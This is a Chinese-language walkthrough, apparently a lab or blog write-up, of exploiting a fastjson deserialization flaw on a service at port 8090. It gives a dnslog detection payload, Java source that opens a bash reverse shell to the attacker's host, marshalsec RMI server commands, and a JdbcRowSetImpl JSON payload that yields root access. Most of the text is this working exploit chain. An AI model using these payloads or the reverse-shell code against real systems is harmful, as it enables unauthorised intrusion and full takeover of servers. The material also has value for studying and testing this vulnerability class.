我们只知道一个IP
nmap扫描端口
我们可以看到 8090 opsmessaging

Xary扫描没有发现漏洞
访问 8090 端口

fastjson反序列化漏洞验证POC
获取dnslog
burp抓包修改数据包
POST
Content-Type: application/json
{"zeo":{"@type":"java.net.Inet4Address","val":"m7ds09.dnslog.cn"}} //val替换成自己获取到的dnslog发送数据包,成功访问到age


说明存在漏洞
参考文章:
【vulhub】fastjson反序列化漏洞验证POC_樱浅沐冰的博客-CSDN博客
fastjson漏洞利用——反弹shell
再攻击机上 编写 TouchFile.java
java文件中写入 反弹shell命令
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/攻击机ip/端口 0>&1"});
p.waitFor();
} catch (Exception e) {
// do nothing
}
}
}生成TouchFile.class (使用jdk8版本)
javac TouchFile.java得到TouchFile.class文件,并在将其通过python3 -m http.server命令放到外网环境中,默认监听端口8000。

攻击机 ip + 8000 访问 ,看到了TouchFile.class

然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class:
https://github.com/RandomRobbieBF/marshalsec-jar
https://github.com/RandomRobbieBF/marshalsec-jar
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://攻击机ip:8000/#TouchFile" 9999

在漏洞页面bp抓包后post提交数据,替换如下payload:
注意有需要四个需要修改的
POST
-----------------------------------------------------------------------------
Accept: */*
-----------------------------------------------------------------------------
Content-Type: application/json
-----------------------------------------------------------------------------
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://攻击机IP:9999/TouchFile",
"autoCommit":true
}
}
send 发送数据包

在攻击机上监听反弹shell的端口

whoami : root权限

补充小知识
HTTP协议的 accept:*/*是什么意思
*/*就是接收任意类型。
ubuntu下切换 java 版本
update-alternatives --config java
update-alternatives --config javac

参考文章:
Java RMI服务远程命令执行利用
Java RMI服务远程命令执行利用_Exploit的小站~-CSDN博客_rmi服务